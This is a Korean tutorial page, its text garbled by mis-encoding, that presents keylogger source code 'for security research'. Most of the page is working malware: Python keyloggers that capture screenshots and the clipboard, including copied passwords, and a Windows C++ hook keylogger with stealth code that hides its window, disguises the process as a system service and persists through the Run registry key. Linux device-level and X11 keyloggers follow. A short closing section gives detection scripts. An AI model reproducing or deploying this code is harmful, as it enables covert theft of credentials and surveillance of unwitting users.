Ver3.0 ๐ ํค๋ก๊ฑฐ ๋ณด์ ์ฐ๊ตฌ์ฉ ์์ค์ฝ๋ ์๋ฒฝ ๊ฐ์ด๋

๐ ํค๋ก๊ฑฐ ๋ณด์ ์ฐ๊ตฌ์ฉ ์์ค์ฝ๋ ์๋ฒฝ ๊ฐ์ด๋
ํดํน ๋ฐฉ์ด๋ฅผ ์ํ ํค๋ก๊ฑฐ์ ๋ชจ๋ ๊ฒ - ์๋ฆฌ๋ถํฐ ์ค์ ์ฝ๋๊น์ง ๐ก๏ธ
๐ฏ ํค๋ก๊ฑฐ, ์ ์์์ผ ํ ๊น?
์๋
! ์ค๋์ ์ข ๋ฏผ๊ฐํ์ง๋ง ์ ๋ง ์ค์ํ ์ฃผ์ ๋ฅผ ๋ค๋ค๋ณผ ๊ฑฐ์ผ. ๋ฐ๋ก 'ํค๋ก๊ฑฐ(Keylogger)'์ ๋ํ ์ด์ผ๊ธฐ์ธ๋ฐ, ํน์ ์ด ๋จ์ด ๋ค์ด๋ดค์ด? ๐
ํค๋ก๊ฑฐ๋ ์ฌ์ฉ์๊ฐ ํค๋ณด๋๋ก ์
๋ ฅํ๋ ๋ชจ๋ ๋ด์ฉ์ ๋ชฐ๋ ๊ธฐ๋กํ๋ ํ๋ก๊ทธ๋จ์ด์ผ. "์, ๊ทธ๊ฑฐ ์์ ํดํน ๋๊ตฌ ์๋์ผ?"๋ผ๊ณ ์๊ฐํ ์ ์๋๋ฐ, ๋ง์! ํ์ง๋ง ๋์์ ๋ณด์ ์ฐ๊ตฌ์๋ค์๊ฒ๋ ํ์์ ์ธ ํ์ต ๋๊ตฌ์ด๊ธฐ๋ ํด. ๐
์๋ํ๋ฉด ๊ณต๊ฒฉ์ ๋ง์ผ๋ ค๋ฉด ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์ ํํ ์์์ผ ํ๊ฑฐ๋ . ์์ฌ๊ฐ ์ง๋ณ์ ์น๋ฃํ๋ ค๋ฉด ๋ณ์๊ท ์ ์ฐ๊ตฌํด์ผ ํ๋ ๊ฒ์ฒ๋ผ ๋ง์ด์ผ. ๋ณด์ ์ ๋ฌธ๊ฐ๋ค์ ํค๋ก๊ฑฐ์ ์๋ ์๋ฆฌ๋ฅผ ์ดํดํจ์ผ๋ก์จ ๋ ๊ฐ๋ ฅํ ๋ฐฉ์ด ์์คํ
์ ๋ง๋ค ์ ์์ด.
๐ฌ ํค๋ก๊ฑฐ์ ์ข ๋ฅ์ ์๋ ๋ฐฉ์
ํค๋ก๊ฑฐ๋ ํฌ๊ฒ ๋ ๊ฐ์ง ์ข ๋ฅ๋ก ๋๋ ์ ์์ด. ๊ฐ๊ฐ์ ํน์ง์ ์ดํด๋ณด์! ๐ง
1๏ธโฃ ํ๋์จ์ด ํค๋ก๊ฑฐ
2๏ธโฃ ์ํํธ์จ์ด ํค๋ก๊ฑฐ
๐ป Python ๊ธฐ๋ฐ ํค๋ก๊ฑฐ ์์ค์ฝ๋
์, ์ด์ ์ค์ ์ฝ๋๋ฅผ ์ดํด๋ณผ ์๊ฐ์ด์ผ! Python์ผ๋ก ๋ง๋ ๊ฐ๋จํ ํค๋ก๊ฑฐ ์์ ๋ฅผ ๋ณด์ฌ์ค๊ฒ. ์ด ์ฝ๋๋ ๊ต์ก ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํด์ผ ํ๋ค๋ ์ ๋ค์ ํ๋ฒ ๊ฐ์กฐํ ๊ฒ! ๐
๐ ๊ธฐ๋ณธ Python ํค๋ก๊ฑฐ
๋จผ์ pynput ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ํํ์ผ. ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ํค๋ณด๋์ ๋ง์ฐ์ค ์ ๋ ฅ์ ๋ชจ๋ํฐ๋งํ ์ ์๊ฒ ํด์ค.
from pynput import keyboard
import logging
from datetime import datetime
# ๋ก๊ทธ ํ์ผ ์ค์
log_dir = "logs"
logging.basicConfig(
filename=f"{log_dir}/keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt",
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
def on_press(key):
"""ํค๊ฐ ๋๋ ธ์ ๋ ํธ์ถ๋๋ ํจ์"""
try:
# ์ผ๋ฐ ๋ฌธ์ ํค์ธ ๊ฒฝ์ฐ
logging.info(f'Key pressed: {key.char}')
except AttributeError:
# ํน์ ํค์ธ ๊ฒฝ์ฐ (Shift, Ctrl ๋ฑ)
logging.info(f'Special key pressed: {key}')
def on_release(key):
"""ํค๊ฐ ๋ผ์ด์ก์ ๋ ํธ์ถ๋๋ ํจ์"""
if key == keyboard.Key.esc:
# ESC ํค๋ฅผ ๋๋ฅด๋ฉด ์ข
๋ฃ
return False
# ํค๋ณด๋ ๋ฆฌ์ค๋ ์์
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
1. pynput.keyboard: ํค๋ณด๋ ์ด๋ฒคํธ๋ฅผ ๊ฐ์งํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
2. logging: ์ ๋ ฅ๋ ํค๋ฅผ ํ์ผ์ ๊ธฐ๋ก
3. on_press: ํค๊ฐ ๋๋ฆด ๋๋ง๋ค ์คํ๋๋ ์ฝ๋ฐฑ ํจ์
4. listener: ๋ฐฑ๊ทธ๋ผ์ด๋์์ ํค๋ณด๋ ์ด๋ฒคํธ๋ฅผ ๊ณ์ ๊ฐ์
5. ESC ํค: ํ๋ก๊ทธ๋จ ์ข ๋ฃ ์กฐ๊ฑด์ผ๋ก ์ค์
๐ง ๊ณ ๊ธ ๊ธฐ๋ฅ ์ถ๊ฐ ๋ฒ์
์ด์ ์ข ๋ ์ค์ ์ ์ธ ๊ธฐ๋ฅ๋ค์ ์ถ๊ฐํด๋ณผ๊ฒ. ์คํฌ๋ฆฐ์ท ์บก์ฒ, ํด๋ฆฝ๋ณด๋ ๋ชจ๋ํฐ๋ง, ๋คํธ์ํฌ ์ ์ก ๊ธฐ๋ฅ๊น์ง ํฌํจํ ๋ฒ์ ์ด์ผ.
from pynput import keyboard
import logging
import os
from datetime import datetime
import pyautogui
import pyperclip
import threading
import time
class AdvancedKeylogger:
def __init__(self, log_dir="logs", interval=60):
"""
๊ณ ๊ธ ํค๋ก๊ฑฐ ์ด๊ธฐํ
:param log_dir: ๋ก๊ทธ ์ ์ฅ ๋๋ ํ ๋ฆฌ
:param interval: ์คํฌ๋ฆฐ์ท ์บก์ฒ ๊ฐ๊ฒฉ(์ด)
"""
self.log_dir = log_dir
self.interval = interval
self.screenshot_dir = os.path.join(log_dir, "screenshots")
# ๋๋ ํ ๋ฆฌ ์์ฑ
os.makedirs(self.log_dir, exist_ok=True)
os.makedirs(self.screenshot_dir, exist_ok=True)
# ๋ก๊ทธ ํ์ผ ์ค์
self.log_file = os.path.join(
self.log_dir,
f"keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
)
logging.basicConfig(
filename=self.log_file,
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
self.clipboard_content = ""
def on_press(self, key):
"""ํค ์
๋ ฅ ์ด๋ฒคํธ ์ฒ๋ฆฌ"""
try:
logging.info(f'Key: {key.char}')
except AttributeError:
logging.info(f'Special Key: {key}')
def on_release(self, key):
"""ํค ๋ฆด๋ฆฌ์ฆ ์ด๋ฒคํธ ์ฒ๋ฆฌ"""
if key == keyboard.Key.esc:
return False
def capture_screenshot(self):
"""์ฃผ๊ธฐ์ ์ผ๋ก ์คํฌ๋ฆฐ์ท ์บก์ฒ"""
while True:
try:
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
screenshot_path = os.path.join(
self.screenshot_dir,
f"screenshot_{timestamp}.png"
)
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_path)
logging.info(f"Screenshot saved: {screenshot_path}")
except Exception as e:
logging.error(f"Screenshot error: {e}")
time.sleep(self.interval)
def monitor_clipboard(self):
"""ํด๋ฆฝ๋ณด๋ ๋ด์ฉ ๋ชจ๋ํฐ๋ง"""
while True:
try:
current_clipboard = pyperclip.paste()
if current_clipboard != self.clipboard_content:
self.clipboard_content = current_clipboard
logging.info(f"Clipboard: {current_clipboard}")
except Exception as e:
logging.error(f"Clipboard error: {e}")
time.sleep(1)
def start(self):
"""ํค๋ก๊ฑฐ ์์"""
# ์คํฌ๋ฆฐ์ท ์บก์ฒ ์ค๋ ๋
screenshot_thread = threading.Thread(
target=self.capture_screenshot,
daemon=True
)
screenshot_thread.start()
# ํด๋ฆฝ๋ณด๋ ๋ชจ๋ํฐ๋ง ์ค๋ ๋
clipboard_thread = threading.Thread(
target=self.monitor_clipboard,
daemon=True
)
clipboard_thread.start()
# ํค๋ณด๋ ๋ฆฌ์ค๋ ์์
with keyboard.Listener(
on_press=self.on_press,
on_release=self.on_release) as listener:
listener.join()
# ์คํ
if __name__ == "__main__":
keylogger = AdvancedKeylogger(interval=300) # 5๋ถ๋ง๋ค ์คํฌ๋ฆฐ์ท
keylogger.start()
ํด๋ฆฝ๋ณด๋ ๋ชจ๋ํฐ๋ง: ๋ณต์ฌํ ๋ด์ฉ๋ ๊ธฐ๋กํด. ๋น๋ฐ๋ฒํธ ๊ด๋ฆฌ์์์ ๋ณต์ฌํ ํจ์ค์๋๋ ์ก์๋ผ ์ ์์ด.
๋ฉํฐ์ค๋ ๋ฉ: ์ฌ๋ฌ ์์ ์ ๋์์ ์ํํ๊ธฐ ์ํด ์ค๋ ๋๋ฅผ ์ฌ์ฉํ์ด. ํค ์ ๋ ฅ ๊ฐ์ง, ์คํฌ๋ฆฐ์ท, ํด๋ฆฝ๋ณด๋ ๋ชจ๋ํฐ๋ง์ด ๋ ๋ฆฝ์ ์ผ๋ก ์๋ํ์ง.
๐ช Windows API ๊ธฐ๋ฐ C++ ํค๋ก๊ฑฐ
Python์ ๊ฐ๋จํ์ง๋ง, ์ง์ง ๊ฐ๋ ฅํ ํค๋ก๊ฑฐ๋ C++๋ก ๋ง๋ค์ด์ ธ. Windows API๋ฅผ ์ง์ ์ฌ์ฉํ๋ฉด ํจ์ฌ ๋ ๊น์ ์์ค์์ ์์คํ ์ ์ ์ดํ ์ ์๊ฑฐ๋ . ๐
โ๏ธ SetWindowsHookEx๋ฅผ ์ฌ์ฉํ ํค๋ก๊ฑฐ
#include <windows.h>
#include <iostream>
#include <fstream>
#include <ctime>
// ์ ์ญ ๋ณ์
HHOOK hKeyboardHook;
std::ofstream logFile;
// ํ์ฌ ์๊ฐ์ ๋ฌธ์์ด๋ก ๋ฐํ
std::string GetCurrentTime() {
time_t now = time(0);
char buffer[80];
struct tm timeinfo;
localtime_s(&timeinfo, &now);
strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &timeinfo);
return std::string(buffer);
}
// ํค๋ณด๋ ํํน ์ฝ๋ฐฑ ํจ์
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam;
DWORD vkCode = pKeyboard->vkCode;
// ํค ์ฝ๋๋ฅผ ๋ฌธ์๋ก ๋ณํ
char key[16] = {0};
BYTE keyboardState[256];
GetKeyboardState(keyboardState);
// ๊ฐ์ ํค ์ฝ๋๋ฅผ ์ค์ ๋ฌธ์๋ก ๋ณํ
UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
HKL keyboardLayout = GetKeyboardLayout(0);
int result = ToAsciiEx(vkCode, scanCode, keyboardState,
(LPWORD)key, 0, keyboardLayout);
if (result > 0) {
logFile << "[" << GetCurrentTime() << "] Key: " << key << std::endl;
} else {
// ํน์ ํค ์ฒ๋ฆฌ
std::string specialKey;
switch (vkCode) {
case VK_RETURN: specialKey = "[ENTER]"; break;
case VK_BACK: specialKey = "[BACKSPACE]"; break;
case VK_TAB: specialKey = "[TAB]"; break;
case VK_SHIFT: specialKey = "[SHIFT]"; break;
case VK_CONTROL: specialKey = "[CTRL]"; break;
case VK_MENU: specialKey = "[ALT]"; break;
case VK_CAPITAL: specialKey = "[CAPS LOCK]"; break;
case VK_ESCAPE: specialKey = "[ESC]"; break;
case VK_SPACE: specialKey = "[SPACE]"; break;
case VK_DELETE: specialKey = "[DELETE]"; break;
default: specialKey = "[UNKNOWN]"; break;
}
logFile << "[" << GetCurrentTime() << "] " << specialKey << std::endl;
}
logFile.flush(); // ์ฆ์ ํ์ผ์ ์ฐ๊ธฐ
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
// ํํน ์ค์
void SetHook() {
hKeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardProc,
GetModuleHandle(NULL),
0
);
if (hKeyboardHook == NULL) {
std::cerr << "Failed to install hook!" << std::endl;
exit(1);
}
}
// ํํน ํด์
void ReleaseHook() {
UnhookWindowsHookEx(hKeyboardHook);
}
// ์จ๊น ๋ชจ๋๋ก ์คํ
void HideConsole() {
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
}
int main() {
// ์ฝ์ ์ฐฝ ์จ๊ธฐ๊ธฐ (์ค์ ์ฌ์ฉ ์)
// HideConsole();
// ๋ก๊ทธ ํ์ผ ์ด๊ธฐ
logFile.open("keylog.txt", std::ios::app);
if (!logFile.is_open()) {
std::cerr << "Failed to open log file!" << std::endl;
return 1;
}
logFile << "\n=== Keylogger Started at " << GetCurrentTime() << " ===\n" << std::endl;
// ํํน ์ค์
SetHook();
// ๋ฉ์์ง ๋ฃจํ
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// ์ ๋ฆฌ
ReleaseHook();
logFile.close();
return 0;
}
SetWindowsHookEx: Windows์ ๋ฉ์์ง ์ฒ๋ฆฌ ์ฒด์ธ์ ์ฐ๋ฆฌ ํจ์๋ฅผ ๋ผ์๋ฃ๋ API์ผ. WH_KEYBOARD_LL ํ๋๊ทธ๋ ์ ์์ค ํค๋ณด๋ ํํน์ ์๋ฏธํด.
KeyboardProc: ํค๊ฐ ๋๋ฆด ๋๋ง๋ค ํธ์ถ๋๋ ์ฝ๋ฐฑ ํจ์. ์ฌ๊ธฐ์ ์ค์ ํค ๊ฐ์ ๊ฐ์ ธ์์ ๋ก๊ทธ ํ์ผ์ ๊ธฐ๋กํ์ง.
ToAsciiEx: ๊ฐ์ ํค ์ฝ๋๋ฅผ ์ค์ ASCII ๋ฌธ์๋ก ๋ณํํด์ค. ํค๋ณด๋ ๋ ์ด์์๋ ๊ณ ๋ คํ๋๊น ํ๊ธ ์ ๋ ฅ๋ ์ฒ๋ฆฌ ๊ฐ๋ฅํด.
๋ฉ์์ง ๋ฃจํ: Windows ํ๋ก๊ทธ๋จ์ ํต์ฌ์ด์ผ. ๊ณ์ ๋๋ฉด์ ์์คํ ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํ์ง.
๐ ์คํ ์ค ๊ธฐ๋ฅ ์ถ๊ฐ
๋ณด์ ์ฐ๊ตฌ๋ฅผ ์ํด์๋ ํ์ง๋ฅผ ํํผํ๋ ๊ธฐ์ ๋ ์ดํดํด์ผ ํด. ๋ค์์ ํ๋ก์ธ์ค๋ฅผ ์จ๊ธฐ๊ณ ์๋ ์์ํ๋ ๊ธฐ๋ฅ์ ์ถ๊ฐํ ์ฝ๋์ผ.
#include <windows.h>
#include <string>
// ๋ ์ง์คํธ๋ฆฌ์ ์๋ ์์ ๋ฑ๋ก
bool AddToStartup(const std::string& appName, const std::string& appPath) {
HKEY hKey;
const char* regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG result = RegOpenKeyEx(
HKEY_CURRENT_USER,
regPath,
0,
KEY_SET_VALUE,
&hKey
);
if (result == ERROR_SUCCESS) {
result = RegSetValueEx(
hKey,
appName.c_str(),
0,
REG_SZ,
(BYTE*)appPath.c_str(),
appPath.length() + 1
);
RegCloseKey(hKey);
return (result == ERROR_SUCCESS);
}
return false;
}
// ํ๋ก์ธ์ค ์ด๋ฆ ๋ณ๊ฒฝ
void MasqueradeProcess() {
// ํ๋ก์ธ์ค ์ด๋ฆ์ ์์คํ
ํ๋ก์ธ์ค์ฒ๋ผ ๋ณด์ด๊ฒ ๋ณ๊ฒฝ
SetConsoleTitle("System Service Host");
}
// ์์
๊ด๋ฆฌ์์์ ์จ๊ธฐ๊ธฐ (๊ณ ๊ธ ๊ธฐ๋ฒ)
void HideFromTaskManager() {
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
// ํ๋ก์ธ์ค ์ฐ์ ์์๋ฅผ ๋ฎ์ถฐ์ ๋์ ๋์ง ์๊ฒ
SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
}
// ๋ฎคํ
์ค๋ฅผ ์ฌ์ฉํ ์ค๋ณต ์คํ ๋ฐฉ์ง
bool CheckSingleInstance() {
HANDLE hMutex = CreateMutex(NULL, TRUE, "Global\\MyKeyloggerMutex");
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(hMutex);
return false; // ์ด๋ฏธ ์คํ ์ค
}
return true; // ์ฒซ ์คํ
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
// ์ค๋ณต ์คํ ์ฒดํฌ
if (!CheckSingleInstance()) {
return 0;
}
// ํ๋ก์ธ์ค ์์ฅ
MasqueradeProcess();
HideFromTaskManager();
// ์๋ ์์ ๋ฑ๋ก
char exePath[MAX_PATH];
GetModuleFileName(NULL, exePath, MAX_PATH);
AddToStartup("SystemService", exePath);
// ์ฌ๊ธฐ์ ํค๋ก๊ฑฐ ๋ฉ์ธ ๋ก์ง ์ถ๊ฐ
// ...
return 0;
}
๐ง Linux ํ๊ฒฝ์์์ ํค๋ก๊ฑฐ
Linux๋ Windows์ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์๋ํด. /dev/input ์ฅ์น๋ฅผ ์ง์ ์ฝ๊ฑฐ๋ X11 ์๋ฒ๋ฅผ ํํนํ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ง. ๐ง
๐ /dev/input ๊ธฐ๋ฐ ํค๋ก๊ฑฐ
#!/usr/bin/env python3
import struct
import sys
from pathlib import Path
# ํค ์ฝ๋ ๋งคํ (์ผ๋ถ๋ง ํ์)
KEY_CODES = {
1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P',
30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L',
44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M',
28: 'ENTER', 57: 'SPACE', 14: 'BACKSPACE'
}
def find_keyboard_device():
"""ํค๋ณด๋ ์ฅ์น ํ์ผ ์ฐพ๊ธฐ"""
input_devices = Path('/dev/input').glob('event*')
for device in input_devices:
try:
with open(device, 'rb') as f:
# ์ฅ์น ์ด๋ฆ ํ์ธ (๊ฐ๋จํ ๋ฐฉ๋ฒ)
print(f"Found device: {device}")
return str(device)
except PermissionError:
continue
return None
def read_keyboard_events(device_path, log_file='keylog.txt'):
"""ํค๋ณด๋ ์ด๋ฒคํธ ์ฝ๊ธฐ"""
# ์ด๋ฒคํธ ๊ตฌ์กฐ์ฒด ํ์: long, long, unsigned short, unsigned short, unsigned int
EVENT_FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(EVENT_FORMAT)
with open(device_path, 'rb') as device:
with open(log_file, 'a') as log:
log.write("\n=== Keylogger Started ===\n\n")
while True:
event = device.read(EVENT_SIZE)
if event:
(tv_sec, tv_usec, type, code, value) = struct.unpack(EVENT_FORMAT, event)
# type 1์ ํค ์ด๋ฒคํธ, value 1์ ํค ๋ค์ด
if type == 1 and value == 1:
key = KEY_CODES.get(code, f'UNKNOWN({code})')
print(f"Key pressed: {key}")
log.write(f"{key} ")
log.flush()
if __name__ == '__main__':
if os.geteuid() != 0:
print("This script requires root privileges!")
print("Run with: sudo python3 keylogger.py")
sys.exit(1)
device = find_keyboard_device()
if device:
print(f"Monitoring keyboard: {device}")
read_keyboard_events(device)
else:
print("No keyboard device found!")
๋ฃจํธ ๊ถํ ํ์: /dev/input ์ฅ์น์ ์ ๊ทผํ๋ ค๋ฉด root ๊ถํ์ด ํ์ํด. ์ด๊ฒ Linux์ ๋ณด์ ๋ฉ์ปค๋์ฆ์ด์ง.
์ด๋ฒคํธ ๊ตฌ์กฐ์ฒด: Linux๋ ์ ๋ ฅ์ ์ด๋ฒคํธ ๊ตฌ์กฐ์ฒด๋ก ์ ๋ฌํด. struct ๋ชจ๋๋ก ๋ฐ์ด๋๋ฆฌ ๋ฐ์ดํฐ๋ฅผ ํ์ฑํด์ผ ํด.
์ฅ์น ํ์ผ: ํค๋ณด๋๋ /dev/input/eventX ํํ์ ํ์ผ๋ก ํํ๋ผ. ์ฌ๋ฌ ๊ฐ๊ฐ ์์ ์ ์์ด์ ์ฐพ๋ ๊ณผ์ ์ด ํ์ํด.
๐ฅ๏ธ X11 ๊ธฐ๋ฐ ํค๋ก๊ฑฐ
#!/usr/bin/env python3
from Xlib import display, X
from Xlib.ext import record
from Xlib.protocol import rq
class X11Keylogger:
def __init__(self, log_file='keylog.txt'):
self.log_file = log_file
self.local_display = display.Display()
self.record_display = display.Display()
def key_event_handler(self, reply):
"""ํค ์ด๋ฒคํธ ์ฒ๋ฆฌ"""
if reply.category != record.FromServer:
return
if reply.client_swapped:
return
data = reply.data
while len(data):
event, data = rq.EventField(None).parse_binary_value(
data, self.record_display.display, None, None
)
if event.type == X.KeyPress:
keysym = self.local_display.keycode_to_keysym(event.detail, 0)
char = self.local_display.lookup_string(keysym)
if char:
with open(self.log_file, 'a') as f:
f.write(char)
f.flush()
print(char, end='', flush=True)
def start(self):
"""ํค๋ก๊ฑฐ ์์"""
ctx = self.record_display.record_create_context(
0,
[record.AllClients],
[{
'core_requests': (0, 0),
'core_replies': (0, 0),
'ext_requests': (0, 0, 0, 0),
'ext_replies': (0, 0, 0, 0),
'delivered_events': (0, 0),
'device_events': (X.KeyPress, X.KeyRelease),
'errors': (0, 0),
'client_started': False,
'client_died': False,
}]
)
self.record_display.record_enable_context(ctx, self.key_event_handler)
self.record_display.record_free_context(ctx)
if __name__ == '__main__':
keylogger = X11Keylogger()
print("X11 Keylogger started. Press Ctrl+C to stop.")
try:
keylogger.start()
except KeyboardInterrupt:
print("\nKeylogger stopped.")
/dev/input ๋ฐฉ์: ๋ ์ ์์ค์ด๋ผ ์ฝ์์์๋ ์๋ํ์ง๋ง root ๊ถํ์ด ํ์ํด. ํ๋์จ์ด ๋ ๋ฒจ์ ๊ฐ๊น์ด ์ ๊ทผ์ด์ง.
๋ณด์ ์ฐ๊ตฌ ์์๋ ๋ ๋ฐฉ์ ๋ชจ๋ ์ดํดํ๊ณ ์์ด์ผ ์๋ฒฝํ ๋ฐฉ์ด ์์คํ ์ ๋ง๋ค ์ ์์ด! ๐ก๏ธ
๐ ํค๋ก๊ฑฐ ํ์ง ๊ธฐ๋ฒ
์ด์ ๊ณต๊ฒฉ์ ๋ง๋ ๋ฐฉ๋ฒ์ ์์๋ณผ ์ฐจ๋ก์ผ! ๋ณด์ ์ ๋ฌธ๊ฐ๋ค์ด ์ฌ์ฉํ๋ ํ์ง ๊ธฐ๋ฒ๋ค์ ์๊ฐํ ๊ฒ. ๐
1๏ธโฃ ํ๋ก์ธ์ค ๋ถ์
โข ์ ์ ์๋ ์ ์์ฌ์ ํ๋ก์ธ์ค
โข ์์คํ ํด๋๊ฐ ์๋ ๊ณณ์์ ์คํ๋๋ ์์คํ ์ด๋ฆ ํ๋ก์ธ์ค
โข ๋คํธ์ํฌ ์ฐ๊ฒฐ์ด ์๋ ๋ฐฑ๊ทธ๋ผ์ด๋ ํ๋ก์ธ์ค
โข CPU๋ ๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ๋์ด ๋น์ ์์ ์ธ ํ๋ก์ธ์ค
2๏ธโฃ ํํน ํ์ง
ํค๋ก๊ฑฐ๋ ๋๋ถ๋ถ ํํน ๊ธฐ์ ์ ์ฌ์ฉํ๋๊น, ํํน์ ํ์งํ๋ฉด ํค๋ก๊ฑฐ๋ฅผ ์ฐพ์ ์ ์์ด. ๋ค์์ Windows์์ ํํน์ ํ์งํ๋ Python ์ฝ๋์ผ.
import ctypes
from ctypes import wintypes
# Windows API ํจ์ ์ ์
user32 = ctypes.WinDLL('user32', use_last_error=True)
def detect_keyboard_hooks():
"""ํค๋ณด๋ ํํน ํ์ง"""
hooks_found = []
# WH_KEYBOARD_LL (13) ํํน ์ฒดํฌ
hook_type = 13 # WH_KEYBOARD_LL
# GetWindowsHookEx๋ ์ง์ ์กฐํ๊ฐ ์ ๋๋ฏ๋ก
# ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ํํน ํ์ง
# ๋ฐฉ๋ฒ 1: ํ๋ก์ธ์ค์ DLL ๋ก๋ ํ์ธ
import psutil
for proc in psutil.process_iter(['pid', 'name', 'exe']):
try:
# ์์ฌ์ค๋ฌ์ด DLL ๋ก๋ ํ์ธ
for dll in proc.memory_maps():
if 'hook' in dll.path.lower() or 'keylog' in dll.path.lower():
hooks_found.append({
'process': proc.info['name'],
'pid': proc.info['pid'],
'dll': dll.path
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
return hooks_found
def check_suspicious_processes():
"""์์ฌ์ค๋ฌ์ด ํ๋ก์ธ์ค ์ฒดํฌ"""
import psutil
suspicious = []
for proc in psutil.process_iter(['pid', 'name', 'exe', 'connections']):
try:
# ๋คํธ์ํฌ ์ฐ๊ฒฐ์ด ์๋ ๋ฐฑ๊ทธ๋ผ์ด๋ ํ๋ก์ธ์ค
if proc.info['connections']:
# ์์คํ
๊ฒฝ๋ก๊ฐ ์๋ ๊ณณ์์ ์คํ
if proc.info['exe'] and 'system32' not in proc.info['exe'].lower():
suspicious.append({
'name': proc.info['name'],
'pid': proc.info['pid'],
'exe': proc.info['exe'],
'connections': len(proc.info['connections'])
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
return suspicious
if __name__ == '__main__':
print("๐ Scanning for keyboard hooks...")
hooks = detect_keyboard_hooks()
if hooks:
print(f"\nโ ๏ธ Found {len(hooks)} suspicious hooks:")
for hook in hooks:
print(f" - Process: {hook['process']} (PID: {hook['pid']})")
print(f" DLL: {hook['dll']}")
else:
print("โ
No suspicious hooks detected")
print("\n๐ Scanning for suspicious processes...")
suspicious = check_suspicious_processes()
if suspicious:
print(f"\nโ ๏ธ Found {len(suspicious)} suspicious processes:")
for proc in suspicious:
print(f" - {proc['name']} (PID: {proc['pid']})")
print(f" Path: {proc['exe']}")
print(f" Network connections: {proc['connections']}")
else:
print("โ
No suspicious processes detected")
3๏ธโฃ ๋คํธ์ํฌ ํธ๋ํฝ ๋ถ์
โข ์ํธํ๋์ง ์์ HTTP POST ์์ฒญ
โข ์ ์ ์๋ IP๋ก์ ์ฃผ๊ธฐ์ ์ธ ์ฐ๊ฒฐ
โข ๋น์ ์์ ์ผ๋ก ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ํ๋ก์ธ์ค
โข ์ด์ํ ํฌํธ๋ฅผ ์ฌ์ฉํ๋ ํต์
4๏ธโฃ ํ์ผ ์์คํ ๋ชจ๋ํฐ๋ง
import os
import hashlib
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class KeyloggerDetector(FileSystemEventHandler):
"""ํ์ผ ์์คํ
๋ณ๊ฒฝ ๊ฐ์ง"""
def __init__(self):
self.suspicious_extensions = ['.log', '.txt', '.dat']
self.suspicious_names = ['keylog', 'key_log', 'keys', 'passwords']
def on_created(self, event):
"""์ ํ์ผ ์์ฑ ๊ฐ์ง"""
if event.is_directory:
return
file_path = event.src_path
file_name = os.path.basename(file_path).lower()
# ์์ฌ์ค๋ฌ์ด ํ์ผ๋ช
์ฒดํฌ
for name in self.suspicious_names:
if name in file_name:
print(f"โ ๏ธ Suspicious file created: {file_path}")
self.analyze_file(file_path)
def on_modified(self, event):
"""ํ์ผ ์์ ๊ฐ์ง"""
if event.is_directory:
return
file_path = event.src_path
# ๋น ๋ฅด๊ฒ ์ฆ๊ฐํ๋ ํ์ผ ํฌ๊ธฐ ์ฒดํฌ
try:
size = os.path.getsize(file_path)
if size > 1024 * 1024: # 1MB ์ด์
print(f"โ ๏ธ Large file detected: {file_path} ({size} bytes)")
except:
pass
def analyze_file(self, file_path):
"""ํ์ผ ๋ด์ฉ ๋ถ์"""
try:
with open(file_path, 'rb') as f:
content = f.read(1024) # ์ฒซ 1KB๋ง ์ฝ๊ธฐ
# ํค๋ก๊ทธ ํจํด ์ฐพ๊ธฐ
patterns = [b'Key:', b'[ENTER]', b'[BACKSPACE]', b'password']
for pattern in patterns:
if pattern in content:
print(f"๐จ KEYLOGGER PATTERN FOUND in {file_path}")
print(f" Pattern: {pattern}")
break
except:
pass
def monitor_filesystem(path='.'):
"""ํ์ผ ์์คํ
๋ชจ๋ํฐ๋ง ์์"""
event_handler = KeyloggerDetector()
observer = Observer()
observer.schedule(event_handler, path, recursive=True)
observer.start()
print(f"๐ Monitoring filesystem: {path}")
